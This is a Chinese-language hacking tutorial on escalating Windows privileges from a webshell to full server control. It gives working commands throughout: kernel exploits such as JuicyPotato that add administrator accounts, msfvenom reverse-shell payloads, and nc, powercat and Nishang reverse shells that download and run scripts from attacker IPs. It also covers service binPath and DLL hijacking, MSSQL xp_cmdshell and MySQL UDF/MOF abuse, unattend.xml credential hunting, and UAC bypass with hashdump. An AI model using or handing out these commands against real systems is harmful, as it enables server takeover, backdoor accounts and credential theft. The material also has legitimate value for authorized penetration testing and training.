Windows提权
Windows基础知识
一、用户与用户组
在Windows中,不同用户有着不同的权限。主要权限包括有:
- 完全控制
- 修改
- 读取和执行
- 列出文件夹内容
- 读取
- 写入
1、内置用户
- Administrator:系统管理员账号,拥有完全控制权
- Guest:来宾账号,基本权限,默认时禁用
2、查看本地用户
net user
3、查看用户详细信息
net user darkid
- 用户也可以属于多个用户组,常见的用户组是 管理组(Administrators)、普通用户组(Users)、iis用户组(IIS_IUSRS)、来宾组(Guests)、远程登录组(Remote Desktop Users)
4、查看本地组
net localgroup
5、内置用户组
- administrators,管理员组
- users组,新建用户默认所属的组
- guests组,权限最低
- iis_users组 Internet 信息服务使用的内置组。
6、查看用户信息
whoami /all
二、Windows的sid详解
- 指派给用户、计算机和组的RID从1000开
提权基础
一、提权解释
提权是指把普通用户的权限进行提升,也叫特权提升,在渗透测试中,通过是各种漏洞提升webshell权限以夺得服务器权限。
- webshell的权限根据不同的中间件权限也有所不同,如没经过特殊设置,webshell的权限是继承该中间件的权限。
二、提权常用方法
Windows提权的方法:
- 漏洞提权
- windwos特性提权
- 第三方组件提权
- 数据库提权
- ftp提权
三、常用命令
systeminfo | findstr OS #获取系统版本信息
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser/query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
四、Windows提权辅助脚本
- 检测系统补丁脚本 https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
- 查看补丁 https://github.com/chroblert/WindowsVulnScan
- windows 内核提权exp https://github.com/SecWiki/windows-kernel-exploits
- 在线提权利用查询 https://lolbas-project.github.io/
- 提权辅助网页 (https://i.hacking8.com/tiquan)
五、提权流程
能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限
六、补丁查询
systeminfo > sys.txt
1、在线网站:https://i.hacking8.com/tiquan
2、 wesng 查询补丁
https://github.com/bitsadmin/wesng
python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁
3、WindowsVulnScan 查询补丁
https://github.com/chroblert/WindowsVulnScan
-
这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。
-
工具的原理是
-
搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
-
查找特定CVE网上是否有公开的EXP
-
利用powershell脚本收集主机的一些系统版本与KB信息
-
利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE
七、查询可写目录或文件
Windows常用提权
一、CVE-2016-3225(ms-16-075)提权
1、漏洞描述
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。
【注】:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户
2、漏洞复现
- 下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录
执行命令
/c c:\windows\debug\WIA\JuicyPotato_x64.exe -a "net user moon 123456 /add && net localgroup administrators moon /add"
- 开启3389
- 连接服务器
二、CVE-2014-4113 (MS14-058)提权
1、漏洞描述
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
2、漏洞复现
同样
三、 CVE-2020-0787 提权
1、漏洞描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
2、漏洞复现
-
下载地址 https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
-
建立普通用户 net user darkid 123456 /add 本地切换登录
-
执行c:\windows\debug\WIA\BitsArbitraryFileMoveExploit.exe
四、MSF提权
1、kali上生成反向后面
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.221.128 lport=4444 -f exe >s.exe
2、使用webshell上传到可写可执行目录
3、设置msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.221.128
set lport 4444
exploit
4、webshell中执行后门
5、常见提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051) ms16_032
MS16-032 Secondary Logon Handle 本地提权漏漏洞
ms16_075
6、使用exp进行尝试
7、msf基本命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
8、查询补丁情况
run post/windows/gather/enum_patches
9、使用模块提权审查
use post/multi/recon/local_exploit_suggester
set session 1
exploit
10、进程迁移
- ps列出
- migrate 2744 explore进程中
交互shell和非交互shell
交互shell
- 交互shell就是shell等待你的输入,并且立即执行你提交的命令。
- 这种模式被称作交互式是因为shell与用户进行交互。
- 这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。
- 需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
- 例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell
非交互shell
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
反弹shell
反弹shell提权是使用工具或者脚本 从服务器主动连接攻击者客户端,是从内部向外部通信,所以能穿透防火墙,防火墙一般只对进来的流量进行拦截,并不对主动出去的流量进行拦截,所以反弹shell可以很多的逃逸防火墙,另外反弹shell是交互shell,通信是交互的,所以能执行的命令更多,而且没有超时限制,可以从受害者的服务器上下载,更多的资料。
一、NC反弹shell
1、nc反弹shell
- 攻击者监听
nc -lvvp 6666
- 上传nc到服务器端,在服务器端上执行nc
C:\Windows\debug\WIA\nc.exe -e cmd 192.168.221.128 6666
二、powershell反弹shell
powercat是nc的powershell版本
powercat下载地址 https://github.com/besimorhino/powercat
1、攻击者本机监听
nc -lvvp 8888
2、执行powershell命令
- 默认网站被墙了
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.221.128 -p 9999 -e cmd
- 可以使用python在攻击机上启动小型服务器
python -m SimpleHTTPServer 80
-
上传powercat
-
webshell上执行命令反弹shell
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.221.128/powercat.ps1'); powercat -c 192.168.221.128 -p 8888 -e cmd
三、Nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
Reverse TCP shell
1、开启监听
nc -lvvp 8888
2、搭建服务器
3、webshell执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.195 -port 6666
Reverse UDP shell
1、监听
2、执行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke-PowerShellUdp.ps1'); Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.195 -port 53
四、python反弹cmd shell
使用python编写反弹shell,如果目标支持python3可以脚本直接执行即可,如果遇到 杀软 可以使用 生成exe的版本 可以很好的逃逸杀软。(pycat)
- 目标上没有安装python 可以使用命令打包成exe在上传执行
pyinstaller -Fw pycat.py
1、监听
nc -lvvp 8888
2、执行
C:\Windows\debug\WIA\pycat.exe --host 192.168.0.104 --port 6666
Windows系统配置错误提权
一、系统服务权限配置错误
1、描述
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持。
2、漏洞介绍
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
3、复现
方法一:powershell扫描
-
PrivescCheck这个Powershell比PowerUp显示的内容更加详细,PowerUp长期没更新了,建议用这个工具对配置进行详细错误。
-
git clone https://github.com/itm4n/PrivescCheck.git
-
加载powershell扫描
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.221.128/PrivescCheck.ps1'); Invoke- PrivescCheck
-
找到可以利用的服务(使用SC命令)
sc query UsoSvc sc stop UsoSvc sc config usosvc binPath= "C:\s.exe" sc start UsoSvc
方法二:MSF模块扫描利用
- 使用模块
- service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行,会尝试创建并运行一个新的服务,如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的
exploit/windows/local/service_permissions
二、不带引号的服务路径的提权
1、描述
但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
2、条件
- 服务存在空格
- 目录可写
2、漏洞复现
-
不带引号的时候Windows在执行的时候会解析到第一个空格前文件就启动
-
使用powershell和dos扫描空格服务
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.106/PowerUp.ps1'); Invoke- AllChecks" wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
-
上传后门文件重命名为到C:\Program.exe
-
重启系统后获得高权限shell
-
msf自动进程迁移
set AutoRunScript migrate -f
三、自动安装配置文件提权
1、漏洞描述
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
2、漏洞复现
- 执行命令:搜索unattend.xml
dir /b /s c:\Unattend.xml
- Unattend.xml文件是使用了base64对管理员的密码进行编码
- 也使用msf的
post/windows/gather/enum_unattend
对这个配置文件扫描
四、本地Dll劫持提权
1、漏洞原理
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
2、攻击过程
收集进程加载的dll—制作dll木马—替换dll—启动应用
3、漏洞复现
-
收集进程加载的dll
- 使用火绒剑分析进程加载的dll
- 【注】系统文件一般更改不了,选择未知文件和数字签名文件
-
制作木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.1 lport=8888 -f dll > libcurl_x86.dll
-
替换dll
-
服务器管理员开启应用,收到administrator权限的反弹shell
第三方提权
安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
一、sqlserver提权
1、描述
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令
2、敏感文件
web.config
config.asp
conn.aspx
database.aspx
3、复现
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
二、udf提权
1、描述
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀为dll,c语言编写
2、插件目录
- 查询plugs插件目录
show variables like "%plugin%"
3.复现
- 在网站上寻找mysql服务的连接账号和密码
- 上传提权脚本 到网站目录
4.mysql提权问题
-
版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll
-
The MySQL server is running with the –secure-file-priv option so it cannot execute thisstatement,这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
SELECT @@global.secure_file_priv
- Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
三、mof提权
1、描述
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文件进行编译。
2、原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
3.影响版本
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null
绕过UAC
1、描述
-
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
-
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
2、复现
-
使用msf搜索 uac模块
-
通常使用 bypassuac模块 一般是可以绕过的 但是也不排除失败的可能
-
通过进程注入使可信任发布者证书绕过Windows UAC。
-
use exploit/windows/local/bypassuac set session 1 run
或者使用bypassuac_injection模块进行bypass
-
use exploit/windows/local/bypassuac_injection set session 1 run
-
迁移进行到64进程即可
-
hashdump测试